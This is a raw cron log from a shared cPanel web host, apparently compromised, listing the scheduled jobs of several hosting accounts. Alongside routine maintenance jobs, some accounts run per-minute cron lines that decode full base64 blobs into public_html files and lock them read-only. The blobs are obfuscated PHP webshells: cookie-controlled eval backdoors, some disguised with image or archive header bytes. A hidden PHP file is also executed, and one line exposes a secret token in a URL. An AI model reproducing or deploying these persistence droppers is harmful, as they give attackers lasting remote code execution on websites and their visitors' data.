Mar  2 16:30:02 medusa CROND[28981]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 16:30:02 medusa CROND[28983]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:30:02 medusa CROND[28985]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 16:30:02 medusa CROND[28972]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 16:30:02 medusa CROND[28950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:30:02 medusa CROND[28984]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 16:30:02 medusa CROND[28989]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  2 16:30:02 medusa CROND[28948]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 16:30:02 medusa CROND[28947]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 16:31:01 medusa CROND[14188]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 16:31:01 medusa CROND[14265]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:31:01 medusa CROND[14267]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:31:01 medusa CROND[14268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:31:02 medusa CROND[14269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:31:02 medusa CROND[14282]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 16:31:02 medusa CROND[14283]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:31:02 medusa CROND[14284]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:31:02 medusa CROND[14285]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:31:02 medusa CROND[14286]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:31:02 medusa CROND[14287]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:31:02 medusa CROND[14289]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:31:02 medusa CROND[14291]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:32:01 medusa CROND[28975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:32:01 medusa CROND[29046]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:32:01 medusa CROND[29047]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:32:01 medusa CROND[29051]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 16:32:01 medusa CROND[29052]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 16:32:01 medusa CROND[29060]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:32:01 medusa CROND[29061]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:32:01 medusa CROND[29058]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 16:32:01 medusa CROND[29069]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 16:32:01 medusa CROND[29071]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 16:32:01 medusa CROND[29073]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 16:32:01 medusa CROND[29074]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:32:01 medusa CROND[29076]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:33:01 medusa CROND[17776]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 16:33:01 medusa CROND[17914]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 16:33:01 medusa CROND[17916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 16:33:01 medusa CROND[17917]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 16:33:01 medusa CROND[17919]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
